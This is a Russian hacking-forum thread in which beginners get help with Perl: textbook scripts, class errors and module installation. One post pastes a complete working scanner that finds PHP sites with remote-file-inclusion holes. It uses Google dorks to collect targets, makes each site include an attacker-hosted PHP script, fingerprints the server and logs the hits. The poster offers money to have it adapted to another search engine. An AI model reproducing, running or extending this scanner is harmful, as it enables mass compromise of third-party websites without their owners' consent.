Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|
27.10.2008, 20:26
|
|
Новичок
Регистрация: 26.10.2008
Сообщений: 3
С нами:
9231755
Репутация:
0
|
|
только начал учить .copy/past с учебника
#!/usr/local/bin/perl
open(PASS, "sort -n -t : +3 -4 +0 /etc/passwd|") || die "Файл не найден!";
while(<PASS>)
{
($login, $pass, $uid, $gid, $name, $home_dir, $shell) = split(':');
write(); # Форматированный вывод данных.
}
close(PASS);
exit 0; # Завершение программы
### Описание формы вывода ###
format STDOUT =
Пользователь: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
---------------------------------------------------------------
Login:@<<< Uid:@<<< Gid:@<<< Home dir:@<<<
$login, $uid, $gid, $home_dir
---------------------------------------------------------------
. # Это последняя строка программы
пишет
Format not terminated at 1.pl line 23, at end of line
syntax error at 1.pl line 23, at EOF
Execution of 1.pl aborted due to compilation errors.
Oo  |
|
|
27.10.2008, 21:14
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
в последней строке убери коментарий, оставь только точку
|
|
|
|
31.10.2008, 00:21
|
|
Новичок
Регистрация: 10.05.2008
Сообщений: 8
С нами:
9476191
Репутация:
0
|
|
Списал из учебника примеры кодов работы с классами.
В первом случае при наследовании одним классом методов другого программа, использующая первый класс, работает нормально. Но если в этом классе определить свой метод, то программа его не находит.
Вот реализация первого класса:
Код:
package Hourly;
use Employee;
our @ISA = qw(Employee);
sub new
{
my $object = shift();
my $class = ref($object) || $object;
my $self = $class->SUPER::new();
$self->{rate} = undef;
bless($self, $class);
return $self;
}
sub rate { Тут реализация метода}
1;
Реализацию второго класса и программы я приводить не буду. Вот что пишет мне при выполнении:
Код:
Can't locate object method "rate" via package Employee at __ line __
И второй случай с сокрытием данных.
Код:
package EmployeeClosure;
sub new
{
my $object = shift();
my $class = ref($object) || $object;
my $employee = {firstname => shift(), lastname => shift()};
my $hireDay = new Date;
if ($_[0]) {
my ($month, $day, $year) = split(/\//, $_[0]);
$hireDay->day($day);
$hireDay->month($month);
$hireDay->year($year);
}
my $self = sub {
my $field = shift();
$employee->{$field} = shift() if (@_);
return $employee->($field);
};
bless ($self, $class);
return $self;
}
Выдает:
Код:
Not a CODE reference at __ line 22; ( это строка return $employee->($field);)
Тут у меня вообще пока соображений нет. |
|
|
|
01.11.2008, 13:48
|
|
Новичок
Регистрация: 26.10.2008
Сообщений: 3
С нами:
9231755
Репутация:
0
|
|
Сообщение от teriion
#!usr/bin/perl
use LWP::UserAgent;
$client = LWP::UserAgent->new( ) or die;
print "Enter site:";
$url=<STDIN>; #Просим пользователя ввести адрес сайта
$answer = $client->get($url); #Отсылаем запрос на сайт
print "============================\n";
print $answer->header('server'); # Выводим поле Server из заголовка
print "============================\n";
вывод
Enter site:http://localhost/
============================
Apache/2.2.9 (Unix) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h PHP/5.2.6 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0============================
вместо
Enter site:http://localhost/
============================
Apache/2.2.9 (Unix) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h PHP/5.2.6 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0
============================
|
|
|
|
01.11.2008, 14:08
|
|
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
С нами:
9679872
Репутация:
347
|
|
Код:
...
print $answer->header('server'); # Выводим поле Server из заголовка
print "\n============================\n";
|
|
|
|
02.11.2008, 19:30
|
|
Новичок
Регистрация: 10.05.2008
Сообщений: 8
С нами:
9476191
Репутация:
0
|
|
Разобрался. В первом случае я сделал ошибку, указал не тот класс. Во втором - нашел опечатку в учебнике.
Последний раз редактировалось akakernel; 04.11.2008 в 11:26..
|
|
|
|
15.11.2008, 13:27
|
|
Постоянный
Регистрация: 22.09.2006
Сообщений: 531
С нами:
10333826
Репутация:
369
|
|
в перле я ваще ноль но тем не менее прошу о помощи нуно сей скрипт перевести на http://search.icq.com/ могу за помощь поставить много много плючиков или кинуть на вебмини 1.5 $(так как боьше нету ((()
заранее спасибо с уважанием Сатана
PHP код:
#! /usr/bin/perl
# ================================================================ #
# google-php-include-bugs searcher v 0.8 #
# (c)oded by drmist\STNC #
# www.security-teams.net #
# #
# ATTENTION. THIS SCRIPT IS PRIVATE. #
# ONLY FOR STNC AND FRIENDS. NOT FOR SALE. #
# #
# Usage: perl script.pl --log=<log-file> --url=<test-script-url> #
# Test script: #
# <?php #
# error_reporting(0); #
# $s = md5("STNC"); #
# $code = eregi("windows", php_uname())+ #
# 2*eregi("apache", getenv("SERVER_SOFTWARE"))+ #
# 4*ini_get('safe_mode'); echo $s."[$code]".$s; #
# ?> #
# ================================================================ #
use IO::Socket;
@inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat",
"inc", "incl", "include", "read", "write", "data", "code", "fname",
"filename", "cont", "content", "menu", "open", "file", "id", "p", "f",
"seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo",
"corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu",
"conteudo");
@zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",
"info", "name", "aero", "biz", "edu", "ws", "in",
"cn", "us", "be", "it", "cc", "tv", "ru", "su",
"jp", "kz", "se", "is", "ca", "gs", "ms", "vg",
"be", "fi", "gov");
@ftypes = ("php", "php3");
$boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC");
for($i = 0; $i < @ARGV; $i++)
{
if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; }
elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; }
}
if(!($script && $log)){ usage(); exit; }
foreach $inc(@inc_bugs)
{
foreach $zone(@zones)
{
foreach $ftype(@ftypes)
{
$request = "filetype:$ftype site:$zone inurl:$inc=";
print "\n[$request]\n";
$request =~ s/(.)/sprintf("%%%02x",ord($1))/eg;
@dn = ();
for($i = 0;$i < 10; $i++)
{
@temp = get("http://www.google.com/search?filter=0&num=100&start=".$i.
"00&q=$request") =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi;
foreach $url (@temp)
{
if($url !~ /($inc=[^\&]+)/i) { next; }
$left = $`; $right = $';
if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; }
if($url =~ /google\.com/i){ next; }
($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/;
if($domain =~ /^www\.(.+)$/) { $domain = $1; }
$f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;}
push @dn, $domain;
$print = "$left$inc=[INCLUDE]$right";
if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i)
{
$s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n";
$count++;
print "[$count] $s";
open LOG, ">>$log";
print LOG $s;
close LOG;
}
else {
print "$print - no bugs\n";
}
}
}
}
}
}
sub timeout() { close $sock; }
sub get()
{
local $request = $_[0];
local $port = 80;
local $data = "";
if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/)
{
if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; }
$sock = IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM,
TimeOut => $timeout
) or return 0; # connection failed
print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n";
$SIG{ALRM} = \&timeout; alarm 10;
while(<$sock>){ $data .= $_; }
alarm 0; close $sock;
}
return $data;
}
sub usage()
{
print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source>
);
}
|
|
|
|
15.11.2008, 21:48
|
|
Новичок
Регистрация: 26.10.2008
Сообщений: 3
С нами:
9231755
Репутация:
0
|
|
немног не в тему,но....
нашол скрипт,выдаёт:
Missing Perl modules:
Net:  NS
Archive::Zip
хде их найти? |
|
|
|
15.11.2008, 22:49
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами:
10021597
Репутация:
905
|
|
cpan.org
|
|
|
|
16.11.2008, 00:55
|
|
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
С нами:
9880226
Репутация:
209
|
|
su && perl -MCPAN -e'install Net: NS' && perl -MCPAN -e'install Archive::Zip'
как-то так |
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 15 (пользователей: 0 , гостей: 15)
|
|
|
|
Похожие темы
Линейный вид
